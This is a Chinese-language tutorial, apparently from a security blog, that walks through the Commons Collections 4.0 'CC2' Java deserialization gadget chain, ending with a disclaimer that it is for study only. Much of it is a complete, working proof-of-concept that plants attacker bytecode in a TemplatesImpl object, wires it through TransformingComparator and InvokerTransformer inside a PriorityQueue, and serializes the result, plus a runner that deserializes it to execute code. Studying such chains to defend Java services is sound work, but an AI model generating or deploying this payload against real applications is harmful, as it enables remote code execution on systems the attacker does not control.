反序列化-CC2
前言
3.1-3.2.1版本中TransformingComparator并没有去实现Serializable接口,是不可以被序列化的,所以我们重新搭建一个4.0的具有漏洞的CC环境
CC2链主要过程和CC4一样,但是区别在于CC2避免了使用Transformer数组,没有使用InstantiateTransformer类进行初始化,主要分析中间连接部分也就是CC2链重心
1.环境安装
CommonsCollections = 4.0
在pom.xml中加入4.0版本的依赖并加载
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
2. 分析
从链的出口到中间的过程和咱们在CC4中分析的一样,都是从
PririPriorityQueuety.heapify()--->Comparator.compare()
执行的命令点也是TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
CC2相较于CC4是放弃了使用InstantiateTransformer来实例化TrAXFilter,转为直接使用InvokerTransformer去调用templates对象的newTransformer方法,我们写一个InvokerTransformer去调用命令执行
InvokerTransformer test = new InvokerTransformer<>("newTransformer",new Class[]{}, new Object[]{});
创建 TransformingComparator 类对象,传入一个临时的 Transformer 类对象,这是为了让代码能够不提前执行,在反序列化的时候执行。
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
我们在CC1中分析过InvokerTransformer类,之前已经写好一个InvokerTransformer调用,但是我们还需要给他传入一个对象,方便它去找到类的对象,并调用指定方法
所以我们创建 PriorityQueue 类对象 传入 transformingComparator 对象,但是此时向队列⾥添加的元素就是前⾯创建的 TemplatesImpl 对象了,这是因为最后调用 PriorityQueue.compare() 的时候是传入队列中的两个对象,然后 compare() 中调用 Transformer.transform(obj1) 的时候用的是传入的第一个对象作为参数
再在运行后反射修改回我们要执行的命令
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, test);
3.POC编写
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\bianyi\\pycharm\\IDEA\\Projects\\untitled1\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
InvokerTransformer test = new InvokerTransformer<>("newTransformer",new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformingField = c.getDeclaredField("transformer");
transformingField.setAccessible(true);
transformingField.set(transformingComparator, test);
serializable(priorityQueue);
//
// unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
反序列化运行我们生成的二进制文件
package org.example;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class Main {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
我们查看其中的过程
在执行到compare方法时,是TransformingComparator
到达transform方法时,就是我们之前之前添加priorityQueue.add(templates)的原因了,我们可以看到执行的是相当于
new InvokerTransformer<>("newTransformer",new Class[]{}, new Object[]{}).transform(new TemplatesImpl())
最后执行成功
本次整体路线为
PriorityQueue.readObject()
PririPriorityQueuety.heapify()
PririPriorityQueuety.siftDown()
PririPriorityQueuety.siftDownUsingComparator()
Comparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
definclass -> newInstance()
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。